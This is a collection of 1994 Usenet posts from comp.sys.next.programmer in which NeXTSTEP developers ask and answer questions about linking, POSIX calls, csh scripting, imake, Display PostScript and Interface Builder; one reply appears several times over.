adhir@bigdipper.umd.edu (o o) (301) 405-1197 | ---------------------------------ooO-(_)-Ooo-----------------------------
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Given a text object how do I get it's directives? Date: 08 May 1994 23:16:18 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94May9001618@steffi.demon.co.uk> References: <ROBERT.94May8125959@steffi.demon.co.uk> <2qjec2$32j@nic-nac.CSU.net> To: eps@futon.SFSU.EDU (Eric P. Scott) In-reply-to: eps@futon.SFSU.EDU's message of 8 May 1994 19:25:54 GMT <eps@futon.SFSU.EDU> writes: >Now, I have a question for you: >Why on Earth do you want to know these things??? Was fooling around today and was quite amazed that HelpLinks were supported in the standard text object. Figured NXHelpText would be doing that. -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: axel@tumbolia.ppp.informatik.uni-muenchen.de (Axel Seibert) Newsgroups: comp.sys.next.programmer Subject: Re: Porting to NeXTSTEP Date: 8 May 1994 23:50:59 +0200 Organization: das organisierte Chaos Message-ID: <AXEL.94May8235058@tumbolia.ppp.informatik.uni-muenchen.de> References: <AXEL.94Apr28141559@tumbolia.ppp.informatik.uni-muenchen.de> <SWIET.94Apr30175352@syzygy.cs.jhu.edu> <AXEL.94May4083307@tumbolia.ppp.informatik.uni-muenchen.de> <AXEL.94May5174925@tumbolia.ppp.informatik.uni-muenchen.de> In-reply-to: axel@tumbolia.ppp.informatik.uni-muenchen.de's message of 5 May 1994 17:49:26 +0200 After my last posting I've received 3 emails suggesting that I change the order of the files to be linked, i.e. instead of /bin/ld -o outfile file1 ... /lib/crt0.o I should use /bin/ld -o outfile /lib/crt0.o file1 ... Of course this was the solution. But now I'm off to test if it really works (all this stuff with the different word lengths and such...). Thanx again to all who replied. Axel. P.S.: Regarding a thread in csn.advocacy: Two mail responses were from NeXT employees!!!! (I was really excited about this :-) -- aseibert@tumbolia.ppp.informatik.uni-muenchen.de (NeXTmail welcome) seiberta@informatik.tu-muenchen.de (please no NeXTmail here!) You are young only once, but you can stay immature indefinitely.
Newsgroups: comp.sys.next.programmer From: ugubser@avalon.unizh.ch (gubser urs) Subject: need help with Matrix-like view Message-ID: <1994May9.002005.13877@ifi.unizh.ch> Sender: news@ifi.unizh.ch (USENET News Admin) Organization: University of Zurich, Department of Computer Science Date: Mon, 9 May 1994 00:20:05 GMT I'm trying to re-build the Matrix class. (I'm doing this because i want an object that can display several types of cells with different sizes) I've already implemented the basic methods (drawSelf,display,update initFrame ....) and everything seems ok, but when it comes to drawing a selected cell i have no clue how to handle this. I implemented a mousedown method, which locates the correct cell, sends it a trackMouse:inRect:ofView: method and draws the cell. But nothing happens. The cell is selected (it sends the action msg). please help. Thanks in advance. - Urs -- * Urs Gubser | Email: * * Bergheimstrasse 7 | ugubser@avalon.unizh.ch (NeXT - mail) * * Zuerich | * * Switzerland | *
Newsgroups: comp.sys.next.programmer From: joel@InfoMagic.com Subject: Strange behavior of getcwd() Content-Type: text/plain Message-ID: <joel.94May8211551@boris> Sender: news@nntpxfer.psi.com Organization: Performance Systems Int'l Mime-Version: 1.0 Date: Mon, 9 May 1994 02:15:51 GMT I was trying to bring up the "samba" LANMAN server on my NeXT. At various points the server does chdir() followed by getcwd() to check access and the like. I found it was failing in the getcwd() under reproducable circumstances by creating a small test program compiled with the -posix flag as the server likes to be on the NeXT. The test program simply does: char *ptr = getcwd(buf, sizeof(buf)); if( ptr != NULL ) printf("%s", buf); else printf("%d", errno); If I run this while connected to any directory on my boot drive it works fine, prints the working directory. If I do it while connected to either of my other two drives it fails with errno = 2 (No such file or directory). If I do the same thing with getwd() instead of getcwd() it works from any drive. Is this a known failing of the posix libraries ? Is there a fix ? Thanks in advance, Joel Goldberger
From: lozinski@cup.portal.com (Christopher A Lozinski) Newsgroups: comp.sys.next.programmer,comp.sys.next.misc Subject: Re: Communication between a NeXT and a PC? Message-ID: <111195@cup.portal.com> Date: Sun, 8 May 94 18:33:14 PDT Organization: The Portal System (TM) Distribution: world References: <2qe332$13u@news.duke.edu> It is very easy to connect P.C.'s and NEXT computers. Just use the DOME message bus. It is like PDO, but it runs on NEXTs, Windows, UNIX and VMS. All you need to do is send messages between your computers. The speed will be as fast as your network supports. The Dome message bus is described in the product catalogue entitled: "Windows Clients for NEXTSTEP Servers". You can get a copy by sending your postal address to: info@bpg.com Please specify whether you prefer a paper version or NEXTMAIL version of the catalogue. Regards Christopher Lozinski President Berkeley Productivity Group Object Enterprise Editor, NEXT IN LINE. Author Borland Extensions to Objective-C.
Newsgroups: comp.sys.next.programmer Subject: libg++ link failure? Message-ID: <1994May9.020002.32284@husc14.harvard.edu> From: jmcaulif@husc.harvard.edu (Jon McAuliffe) Date: 9 May 94 02:00:02 EDT Distribution: world Keywords: c++, libg++, link Having installed libg++ and documentation, a four-line test program (below) produces the following errors: goethe:20> cc++ -I/NextDeveloper/Headers/g++ -lg++ -o tst tst.cc ld: Undefined symbols: _endl__FR7ostream _cout ___ls__7ostreamPCc ___ls__7ostreamPFR7ostream_R7ostream --PROGRAM-- #include "iostream.h" int main() { cout << "hello." << endl; } Why does this fail to link? libg++.a is in /usr/lib. I've checked docs and FAQ; no flames please. Couldn't find the explanation. Mail replies. Thanks for any help, Jon _________________________________________________________________________ Jon McAuliffe jmcaulif@husc.harvard.edu Harvard University 617.493.3063 (voice/fax) NeXTmail encouraged
Newsgroups: comp.sys.next.programmer From: thomas@gamelan.sh.sub.de (Thomas Funke) Subject: Re: looking for docs on mmap() Message-ID: <1994May7.165028.7705@gamelan.sh.sub.de> Sender: thomas@gamelan.sh.sub.de (thomas) Organization: Disorganization References: <1994May5.103625.17990@news.cs.indiana.edu> Date: Sat, 7 May 1994 16:50:28 GMT In article <1994May5.103625.17990@news.cs.indiana.edu> "J. Michael Ashley" <jashley@cs.indiana.edu> writes: > I tried the on-line documentation but could not find any info on > mmap(). Did I miss it? Can someone point me to it? > mmap() system call is not documented or supported by NeXT. Get a man-page from some other unix system (sun e.g.) -- ------------------------------------------------------------------ Thomas Funke thomas@gamelan.sh.sub.de Brooks's Law: Adding manpower to a late software project makes it later ------------------------------------------------------------------
From: luomat@alleg.EDU (Timothy J. Luoma) Newsgroups: comp.sys.next.programmer Subject: using $1 to select entry from 'set' lines Date: 9 May 1994 02:29:17 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9405090727.AA20909@alleg.EDU> [warning: this is a post by someone who doesn't know enough about programming to try it, but is trying it. The following may seem inane and useless to some. I'm just trying to learn a little ] I am working on what should be a simple #!/bin/csh -f script, and have run into a problem which has been unanswerable as far as I have been able to find. What I want to do sounds simple: write a little script (called 'flab' for 'finger lab'), asking the user to select the name of a computer lab on campus in this form: % flab <nameoflab> all of the NeXTs in that lab are listed in 'set' lines in 'flab' in this form: set Name = (hostname1 hostname2 .... hostnameX) set OtherName = (Otherhostname1 Otherhostname2 .... OtherhostnameX) Then I was trying to implement a simple 'foreach' loop that would finger each of the hostnames in the lab the user had selected. foreach i ($1) finger @$i end but of course, that doesn't work because it tries to finger the input itself (just the lab name, not the hostnames from the 'set' line which corresponds to the lab name) Any ideas how I might be able to make this work? Thanks TjL --- Timothy J. Luoma Email: luomat@alleg.edu (Shell=tcsh) Workstation Environment using NeXTSTEP 3.1 Motorola MAIL: NeXT YES / MIME Mail NO No Root access, no super-user access
From: lauer@informatik.uni-tuebingen.de (Harald Lauer) Newsgroups: comp.sys.next.programmer Subject: SUMMARY: Max. number of palettes in IB ? Date: 9 May 1994 08:30:35 GMT Organization: University of Tuebingen Distribution: world Message-ID: <2qksbb$mvd@wsiserv.informatik.uni-tuebingen.de> Hi, in a previous post I complained about IB not being able to load more that 22 palettes and asked if there is a maximum number of palettes loadable. Sean Woodhouse and Ken Anderson gave the correct answer. Thanks ! It seems that IB dies when trying to read a loooooong line in defaults.nibd where the paths to the palettes are stored. Loading many palettes in IB at startup time isn't a very bright idea if you're impatient and/or short of memory, but it's not very bright of IB either to simply die with a wierd error message simply because a line contains too many characters. Linking /LocalDeveloper/Palettes to something shorter solves the problem only temporarily. It should be easy to fix this in IB. Bye, Harald --- Harald Lauer Those health nuts will look Wilhelm-Schickard Institut fuer Informatik stupid someday, lying in Universitaet Tuebingen hospital dying of nothing.
From: cartier@iisnext2.unil.ch (Cartier Francois) Newsgroups: comp.sys.next.programmer Subject: Books & tutorials for Indexing Kit and DBKit Date: 9 May 1994 09:11:49 GMT Organization: University of Lausanne CH (Switzerland) Message-ID: <2qkuol$28j@cisun2000.unil.ch> I am looking for books and tutorials for the Indexing Kit and DBKit. Thanks, Francois Cartier Institut d Informatique Universite de Lausanne Suisse Next-Mail: cartier@iisnext1.unil.ch
Newsgroups: comp.sys.next.programmer From: chuck@benatong.com (Charles G. Bennett) Subject: Re: Together we stand, divided we fall. Message-ID: <CpIEqo.E38@benatong.com> Sender: usenet@benatong.com Organization: BenaTong References: <CpCtw4.41r@cobra.cs.unm.edu> Date: Mon, 9 May 1994 00:30:22 GMT In article <CpCtw4.41r@cobra.cs.unm.edu> ctm@ardi.com (Clifford T. Matthews) writes: > In article <1994May5.052804.7999@cs.yale.edu> nathan@laplace.csb.yale.edu (Nathan F. Janette) writes: > >Reply-To: nathan@laplace.csb.yale.edu (Nathan F. Janette) > >Distribution: world > > > >Together we stand, divided we fall. > > Yesterday we were divided; today we have fallen. > > ... > >The cost (with some haggling) would > >appear to be at about $m.nK per person/ computer unit at moderate > >density, or $xK for high density. If we can get enough companies > >involved, perhaps we can do even better on the price. > ... > > Please do not post prices in these newsgroups. Prices are evil. > Considering the monummental breach of netiquette I recommend a boycott > of this endeavor. > > --Cliff > ctm@ardi.com Chill out Cliff, whats wrong with a developer trying to boost the NeXT community by helping small developers go in on a booth. It's not like Nathan works for DCI and is selling booth space, or stands to profit in any way from this kind of endevor. Most likely all he would gain is a bunch more work trying to round up the people and get their money.. This is a lot different than XYZ corp. offering to sell widgets on the net. This falls more into the catagory of a bunch of guys going in on a DTA tape buy > Considering the monummental.. Hardly. Now Make Money Fast.. or the Green Card Lottery.. thats monummental. Nathan's posting is more like community service, and is in the fine tradition of the InterNet (what ever that means..) Chuck
Newsgroups: comp.sys.next.programmer From: ian_stewart@nyro.com (Ian Stewart) Subject: how do I open all files in a dir one at a time? Message-ID: <CpJ23G.112@nyro.com> Sender: ian@nyro.com (Ian Stewart) Organization: NYRO Technix, Inc. - makers of Faxcess(tm), UUCP-EZ and other NEXTSTEP software. Date: Mon, 9 May 1994 08:54:51 GMT I have a dir of files. I need to open each and every file in the dir, fgets() a string, then close the file and go to the next one if there is one. How do I do this? Ian
Newsgroups: comp.sys.next.programmer From: donham-jake@CS.Yale.Edu (Jake Donham) Subject: NeXT C compiler missing--where can I find it? Message-ID: <DONHAM-JAKE.94May9063024@rhino.CS.Yale.Edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale University, New Haven CT Distribution: usa Date: Mon, 9 May 1994 10:30:23 GMT A friend of mine bought a used NeXT cube that doesn't have the compiler installed. I was under the impression that this is something that was supposed to come with the system. Is it legal for me to ftp it from somewhere/someone, and if so where can I do so? Thanks, Jake
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: Counting lines of code Message-ID: <1994May9.031439.19263@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <CpEGIq.Awu@mrk.com> Distribution: usa Date: Mon, 9 May 1994 03:14:39 GMT Jerald, how about the Unix utility "wc"? Assuming all .[cmh] files are in one directory, 'cd' to that directory, and wc -l *.[chm] which gives you a line count. Check the man page for other options.... Rik (cousens@biztech.com)
From: wpwood@bga.com (Bill Woodward) Newsgroups: comp.sys.next.programmer,comp.sys.next.misc Subject: Re: Compiling X apps with Cub'X-Window Followup-To: comp.sys.next.programmer,comp.sys.next.misc Date: 9 May 1994 13:09:42 GMT Organization: Real/Time Communications - Bob Gustwick and Associates Message-ID: <2qlcmm$g9l@giga.bga.com> References: <2qf7nc$oc5@umd5.umd.edu> <ROBERT.94May7090251@steffi.demon.co.uk> Robert Nicholson (robert@steffi.demon.co.uk) wrote: : <adhir@bigdipper.umd.edu> writes: : >Hello all - I recently took delivery of Cub'xWindow for my Next machine : >running NSFIP 3.2. I am trying to compile some X apps for it, but I seem : >to be having a problem using imake. Here is the message I get when : >trying to make fvwm (a window manager): : >In file included from /usr/lib/X11/config/Imake.tmpl:859, from :3: : >/tmp/IIf.011772:5: invalid preprocessor directive name : >/tmp/IIf.011772:6: invalid preprocessor directive name : >imake: Exit code 1. Stop. : Your problem is caused by the comment lines not starting at column : zero I think... It's related to the comment lines I know that because I : had the same problem with Co-Xist. when building fvwm... : Look for strange comment lines in the Imakefile. Well, not quite. Older version of imake expected comments to be delimited by a '#' in the first column (like a shell script). One can imagine that this caused portability problems, since some c pre-processors ignore lines that have a '#' and then a space, and some don't, etc. Later versions of imake expect comments to be delimited with 'XCOMM'. Change the comment lines to start with that, and you shouldn't get the error anymore. : fvwm is not _a_ window manager it's _the_ window manager :-) I'll buy that :-) -- <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> Bill Woodward | Just another speedbump on wpwood@bga.com | the Information Superhighway Austin, TX, USA, Earth | Crack the Sky fan
Newsgroups: comp.sys.next.programmer From: drew@fnbc.com (Drew Davidson) Subject: Re: Counting lines of code Message-ID: <1994May9.142112.4652@fnbc.com> Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA References: <CpEGIq.Awu@mrk.com> Distribution: usa Date: Mon, 9 May 94 14:21:12 GMT In article <CpEGIq.Awu@mrk.com> jerald@mrk.com (Jerald Dawson) writes: > Hi all, > > I want to count the lines of code that make up an app we just ported from > windows so we can compare the two. We know that the NS version of our app is > quite a bit smaller but what to see exactly how much. I'm sure there is some > way to do that but I don't know what it is. Could someone who does know how > please email me about it. Its not a big deal, we're just curious. > > thanx > > -- > jerald dawson * Systems Manager/Head Programmer * Investor's Advantage > NeXTmail - jerald@mrk.com | > phone - (708) 487-3221 | Don't blame me. I voted for Bush. Here's the script that I use. It removes blank lines after running the files through cpp (after removing all preprocessor directives). Hopefully this will yield a better count of the lines of code: ----------------------------< cut here >------------------------------------- #!/bin/csh -f # linesofcode # # Usage: linesofcode [-i] <directory>|<filelist> # -i prints statistics for individual files. # # Written February 1994 by Drew Davidson (drew@fnbc.com) # if ( $1 == "-i" ) then set individual = 1 shift else set individual = 0 endif set total = 0 set numfiles = 0 foreach dir ($*) if ( -f $dir ) then set files = $dir else set files = ( `echo $dir/*.[hmc]` ) endif if ( $#files > 0 ) then @ numfiles = $numfiles + $#files foreach file ( $files ) set lines = `cat $file | sed -e '/^[ \t]*#/d' | /lib/cpp | sed -e '/^[ \t]*$/d' -e '/#/d' | wc -l` set printlines = `echo $lines | awk '{ printf("%07d",$1) }'` if ( $individual == 1 ) then if ( $lines == 0 ) then echo " 0" $file else echo "`echo $printlines | sed -e 's/\([1-9%]\)0/\1%/g' -e 's/%0/%%/g' -e 's/%0/%%/g' -e 's/0/ /g' -e 's/%/0/g'`" $file endif endif @ total = $total + $lines end endif end echo -n $total total lines of code in $numfiles file if ( $numfiles == 1 ) then echo "" else echo s endif ----------------------------< cut here >------------------------------------- -- +--------------------------------+---------------------------------------+ | Drew Davidson - Software Guy | "Computers are useless. They can | | First National Bank of Chicago | only give you answers." | | drew@fnbc.com (NeXTmail) | - Pablo Picasso | +--------< All opinions expressed here are mine and mine alone >---------+
Newsgroups: comp.sys.next.programmer From: lamb@eqt.ch (Alexander Lamb) Subject: Creating an Alarm clock with signals Message-ID: <CpJMsx.FwC@eunet.ch> Sender: usenet@eunet.ch (News Administrator) Organization: EUnet Switzerland Date: Mon, 9 May 1994 16:22:08 GMT Hi, Could someone point me to the right place for an example of programming an alarm clock using the unix signals in Objective-C (I don't want to use the display server, and I need precise, on the dot timing such as sending a message every minute or every hour or once a day)... I would also be very pleased with a reference to some books or documentation... Many thanks, Alexander Lamb Expert Quantitative Trading Geneva / Switzerland lamb@eqt.ch
From: josh@dufay.zkm.de (Josh Richau) Newsgroups: comp.sys.next.programmer Subject: Lock focus problem Date: 9 May 1994 17:37:11 GMT Organization: Zentrum fuer Kunst und Medientechnologie,Karlsruhe,Germany Distribution: world Message-ID: <2qlsc7$998@hildegard.zkm.de> Keywords: sound, editor, lockFocus Hello all, I am working on a soundeditor for four channel sounds and used the soundkit example code for the scrolling sound. Well, every time I launch one of these sound docs I get a "lockFocus sent to a view that is not in a window" error. After searching forever to find this error I compiled the soundeditor example and found that it had the same problem i.e. the problem is with the example not my implementation. The problem seems to reside in this line: mySoundView=[scroller docView] which sets the soundview to be the view that will be scrolled, intuitively I would expect this line to look more like: [scroller setDocView:mySoundView] but this doesn't seem to work. In any case does anyone know if the original example has had this bug fixed (or know of an example of a controller that can launch multiple documents (sound docs) with scrolling views that does not receive this error. The error doesn't kill the program and is mostly just annoying but I would like to have a clean app before distributing... Any help or pointers to the locations of these bug fixes would be great! Ciao, Josh Richau josh@zkm.de
From: samurai@hasc.ca (Darcy Brockbank) Newsgroups: comp.sys.next.programmer Subject: Re: termios (Was Re: Alpa-Numeric paging software...) Date: 9 May 1994 16:51:41 GMT Organization: WSC Investment Services, Inc. Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2qlpmt$m8a@cerberus.wsc.com> References: <2qjfbh$j5n@cerberus.wsc.com> In article <2qjfbh$j5n@cerberus.wsc.com> samurai@hasc.ca (Darcy Brockbank) writes: > > If you want to use the termios support on NEXTSTEP, you > have to compile with the -posix flag. As far as I can > tell, it is a subset of that which is on HPUX > (I don't know if it is really posix compliant or not). > > - darcy I have been corrected by NeXT. termios is supported for non-posix applications. I've checked the header files, and this seems to be true. Note that this makes the manual pages incorrect: TERMIOS(4P) UNIX Programmer's Manual TERMIOS(4P) NAME termios - (POSIX only) the termios structure and header file SYNOPSIS #include <termios.h> DESCRIPTION The information in this specification applies only to POSIX applications. I've subitted this as a bug report. - darcy
From: pcu@umich.edu Newsgroups: comp.sys.next.programmer Subject: Re: Communication between a NeXT and a PC? Date: 9 May 1994 17:48:24 GMT Organization: University of Michigan Distribution: world Message-ID: <2qlt18$sfk@lastactionhero.rs.itd.umich.edu> References: <2qe332$13u@news.duke.edu> In article <2qe332$13u@news.duke.edu> blake015@mc.duke.edu(Denise Blakeley) writes: There's a > custom-written C++ program that's run on the PC which controls a DSP card, > attenuators and the like; it generates sounds and records data into a file on > the PC. The C++ program, having a DOS interface, is not intuitive to > use--there is no GUI. > > A) Create a NeXTSTEP app with sliders, buttons, etc. which drives the C++ > program on the PC. This would require writing an API for the C++ program. > B) Put the sliders, buttons, etc. in the C++ program and do the graphing on the > NeXT. > > 4. The main concern is one of speed: The controls of the sound stimulus need to > be as fast as possible, and this may dictate keeping the controls in the C++ > program on the PC. The display of the data does not need to be as fast. What you have is a) custom C++ code (which if you are considering modifying to include an API will be a large programming task) b) need for a NS interface c) keep the C++ on the PC Why not? Place NS on the PC. You a) already have the C++ code engine (just recompile) (modifying the includes etc. will no doubt be simpler than adding an API - it's just a question of *which* work you want to do, not how *much* work) b) will be able to place a NS interface on the C++ c) will keep the code on the PC. > 3. What would be the best/simplest graphing software to use for creating a > scatter plot and a bar chart from output data relatively quickly on the NeXT? > > version of Mathematica it was very difficult for them to produce > publication-quality graphs; they haven't yet received their upgrade to Have them graph the publication-quality graphs in a better plotting package, but that doesn't have to be the same package as the one used to plot the output for the realtime. I have no suggestions for which graph package (but consider Tailor.app for re-touching ugly output - you can leave the graph itself unchanged). -- Peter Urka <pcu@umich.edu> Dept. of Chemistry, Univ. of Michigan Anything to me is sweeter, Than to see Shock-headed Peter. - H. Hoffmann
From: blake015@mc.duke.edu(Denise Blakeley) Newsgroups: comp.sys.next.programmer Subject: Re: Communication between a NeXT and a PC? Date: 9 May 1994 17:58:58 GMT Organization: Duke University; Durham, N.C., USA Distribution: world Message-ID: <2qltl2$an2@news.duke.edu> References: <2qlt18$sfk@lastactionhero.rs.itd.umich.edu> pcu@umich.edu writes > In article <2qe332$13u@news.duke.edu> blake015@mc.duke.edu(Denise > Why not? > Place NS on the PC. You > a) already have the C++ code engine (just recompile) > (modifying the includes etc. will no doubt be simpler than > adding an API - it's just a question of *which* work you > want to do, not how *much* work) > b) will be able to place a NS interface on the C++ > c) will keep the code on the PC. I'll tell you why not: It's not a NeXSTEP-compatible PC! :-( If it was, I'd have suggested this to them already and not needed to post. Denise -- Denise Blakeley | PROGRAM, tr. v., An activity similar Duke Med Center Info Systems | to banging one's head against a wall, Durham, NC | but with fewer opportunities for (919) 286-6468 W | reward. blake015@mc.duke.edu | NeXTMail welcome!
From: blake015@mc.duke.edu(Denise Blakeley) Newsgroups: comp.sys.next.programmer Subject: Re: Communication between a NeXT and a PC? Date: 9 May 1994 18:00:41 GMT Organization: Duke University; Durham, N.C., USA Distribution: world Message-ID: <2qlto9$as1@news.duke.edu> References: <2qlt18$sfk@lastactionhero.rs.itd.umich.edu> pcu@umich.edu writes > In article <2qe332$13u@news.duke.edu> blake015@mc.duke.edu(Denise > Why not? > Place NS on the PC. You > a) already have the C++ code engine (just recompile) > (modifying the includes etc. will no doubt be simpler than > adding an API - it's just a question of *which* work you > want to do, not how *much* work) > b) will be able to place a NS interface on the C++ > c) will keep the code on the PC. I'll tell you why not: It's not a NeXSTEP-compatible PC! :-( If it was, I'd have suggested this to them already and not needed to post. Denise -- Denise Blakeley | PROGRAM, tr. v., An activity similar Duke Med Center Info Systems | to banging one's head against a wall, Durham, NC | but with fewer opportunities for (919) 286-6468 W | reward. blake015@mc.duke.edu | NeXTMail welcome!
From: blake015@mc.duke.edu(Denise Blakeley) Newsgroups: comp.sys.next.programmer Subject: Re: Communication between a NeXT and a PC? Date: 9 May 1994 18:00:53 GMT Organization: Duke University; Durham, N.C., USA Distribution: world Message-ID: <2qltol$at4@news.duke.edu> References: <2qlt18$sfk@lastactionhero.rs.itd.umich.edu> pcu@umich.edu writes > In article <2qe332$13u@news.duke.edu> blake015@mc.duke.edu(Denise > Why not? > Place NS on the PC. You > a) already have the C++ code engine (just recompile) > (modifying the includes etc. will no doubt be simpler than > adding an API - it's just a question of *which* work you > want to do, not how *much* work) > b) will be able to place a NS interface on the C++ > c) will keep the code on the PC. I'll tell you why not: It's not a NeXSTEP-compatible PC! :-( If it was, I'd have suggested this to them already and not needed to post. Denise -- Denise Blakeley | PROGRAM, tr. v., An activity similar Duke Med Center Info Systems | to banging one's head against a wall, Durham, NC | but with fewer opportunities for (919) 286-6468 W | reward. blake015@mc.duke.edu | NeXTMail welcome!
From: blake015@mc.duke.edu(Denise Blakeley) Newsgroups: comp.sys.next.programmer Subject: Re: Communication between a NeXT and a PC? Date: 9 May 1994 18:01:05 GMT Organization: Duke University; Durham, N.C., USA Distribution: world Message-ID: <2qltp1$at8@news.duke.edu> References: <2qlt18$sfk@lastactionhero.rs.itd.umich.edu> pcu@umich.edu writes > In article <2qe332$13u@news.duke.edu> blake015@mc.duke.edu(Denise > Why not? > Place NS on the PC. You > a) already have the C++ code engine (just recompile) > (modifying the includes etc. will no doubt be simpler than > adding an API - it's just a question of *which* work you > want to do, not how *much* work) > b) will be able to place a NS interface on the C++ > c) will keep the code on the PC. I'll tell you why not: It's not a NeXSTEP-compatible PC! :-( If it was, I'd have suggested this to them already and not needed to post. Denise -- Denise Blakeley | PROGRAM, tr. v., An activity similar Duke Med Center Info Systems | to banging one's head against a wall, Durham, NC | but with fewer opportunities for (919) 286-6468 W | reward. blake015@mc.duke.edu | NeXTMail welcome!
From: blake015@mc.duke.edu(Denise Blakeley) Newsgroups: comp.sys.next.programmer Subject: Re: Communication between a NeXT and a PC? Date: 9 May 1994 18:02:01 GMT Organization: Duke University; Durham, N.C., USA Message-ID: <2qltqp$atb@news.duke.edu> References: <2qlt18$sfk@lastactionhero.rs.itd.umich.edu> pcu@umich.edu writes > In article <2qe332$13u@news.duke.edu> blake015@mc.duke.edu(Denise > Why not? > Place NS on the PC. You > a) already have the C++ code engine (just recompile) > (modifying the includes etc. will no doubt be simpler than > adding an API - it's just a question of *which* work you > want to do, not how *much* work) > b) will be able to place a NS interface on the C++ > c) will keep the code on the PC. I'll tell you why not: It's not a NeXSTEP-compatible PC! :-( If it was, I'd have suggested this to them already and not needed to post. Denise -- Denise Blakeley | PROGRAM, tr. v., An activity similar Duke Med Center Info Systems | to banging one's head against a wall, Durham, NC | but with fewer opportunities for (919) 286-6468 W | reward. blake015@mc.duke.edu | NeXTMail welcome!
From: bussarj@alleg.edu (Jeremy Bussard) Newsgroups: comp.sys.next.programmer Subject: Re: using $1 to select entry from 'set' lines Date: 9 May 1994 12:49:39 GMT Organization: Allegheny College Message-ID: <2qlbh3$o4i@mustang.alleg.edu> References: <9405090727.AA20909@alleg.EDU> Timothy J. Luoma writes <->[warning: this is a post by someone who doesn't know enough about <->programming to try it, but is trying it. The following may seem <->inane and useless to some. I'm just trying to learn a little ] <-> <->I am working on what should be a simple #!/bin/csh -f script, and <->have run into a problem which has been unanswerable as far as I have <->been able to find. <-> <->What I want to do sounds simple: <-> <->write a little script (called 'flab' for 'finger lab'), asking the <->user to select the name of a computer lab on campus in this form: <-> <->% flab <nameoflab> <-> <->all of the NeXTs in that lab are listed in 'set' lines in 'flab' in <->this form: <-> <->set Name = (hostname1 hostname2 .... hostnameX) <->set OtherName = (Otherhostname1 Otherhostname2 .... OtherhostnameX) <-> <->Then I was trying to implement a simple 'foreach' loop that would <->finger each of the hostnames in the lab the user had selected. <-> <-> <->foreach i ($1) <-> finger @$i <->end <-> <->but of course, that doesn't work because it tries to finger the input <->itself (just the lab name, not the hostnames from the 'set' line <->which corresponds to the lab name) <-> <->Any ideas how I might be able to make this work? Thanks <-> Tj, Try something along these lines: foreach Name ($Name) finger $Name end If I remember correctly, that should do what you want... Later, Jeremy -- ########################## bussarj@alleg.edu ############################ "When a person sees desire and dedication within the self, that person has the realization of hope... When this same person also sees inspiration within desire and dedication, that person then has the realization of a dream..." ######################### Jeremy Allan Bussard ##########################
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: SUMMARY: DPS issues In-Reply-To: flexus!rfschtkt@maze.ruca.ua.ac.be's message of 8 May 1994 10:15:37 -0500 Message-ID: <BYER.94May9110950@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <9405081507.AA01302@flexus> Date: Mon, 9 May 1994 18:09:50 GMT Raf Schietekat writes: Raf> Re: scan conversion details in NEXTSTEP's implementation of DPS Scott Raf> misinterpreted my problem: these are 1-unit-wide strokes (the default), Raf> not zero-width strokes. So my point still stands that, contrary to NeXT Raf> Developer's Library/Supplementary Documentation/ Extensions for the DPS Raf> system/Scan conversion details, this 1-unit-wide, zero-length stroke is Raf> not drawn if strokeadjust is not on, although it should be (only Raf> zero-width strokes are exempt from the half-open pixels and shapes Raf> rule). Cure (for Adobe): change the documentation or the Raf> implementation. Scott> Since the scan conversion rules are specifically not part of the Scott> language specification, but are a private part of the implementation, Scott> this is perfectly acceptable behaviour. Raf> Huh? ``To ensure consistent and predictable results, the scan Raf> conversion algorithm is now specified more rigorously.'' My mistake. Sometimes us DPS engineers also have to RTFM a little harder... Anyway, clarification for what happens with "100 100 moveto 0 0 rlineto stroke" is provided under the stroke operator description: "A degenerate subpath is a subpath consisting of a single point closed path or two or more points at the same coordinates. If a subpath is degenerate, stroke paints it only if round line caps have been specified, producing a filled circle centered at that point. If butt of projecting square line caps have been specified, stroke produces no output. because the orientation of the caps would be indeterminate. If a subpath consists of a single point non-closed path, no output is produced." Note that "true setstrokeadjust" forces any degenerate subpath to no longer be degenerate, before the stroke rule above is applied, thus the pixel showing up when strokeadjust is on. Scott> You could have the font grab the character definitions at definefont Scott> time, and stick them in it's own /CharProcs dictionary. Raf> Huh? There is no information about the resolution before setfont Raf> (actually scalefont/makefont) time! There's actually no resolution information anytime before the actual "show". -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. === ===
From: pcu@umich.edu Newsgroups: comp.sys.next.programmer Subject: Re: Creating an Alarm clock with signals Date: 9 May 1994 18:09:25 GMT Organization: University of Michigan Distribution: world Message-ID: <2qlu8l$skm@lastactionhero.rs.itd.umich.edu> References: <CpJMsx.FwC@eunet.ch> In article <CpJMsx.FwC@eunet.ch> lamb@eqt.ch (Alexander Lamb) writes: > display server, and I need precise, on the dot timing such as sending a > message every minute or every hour or once a day)... I would also be DPSAddTimedEntry(); -- Peter Urka <pcu@umich.edu> Dept. of Chemistry, Univ. of Michigan Anything to me is sweeter, Than to see Shock-headed Peter. - H. Hoffmann
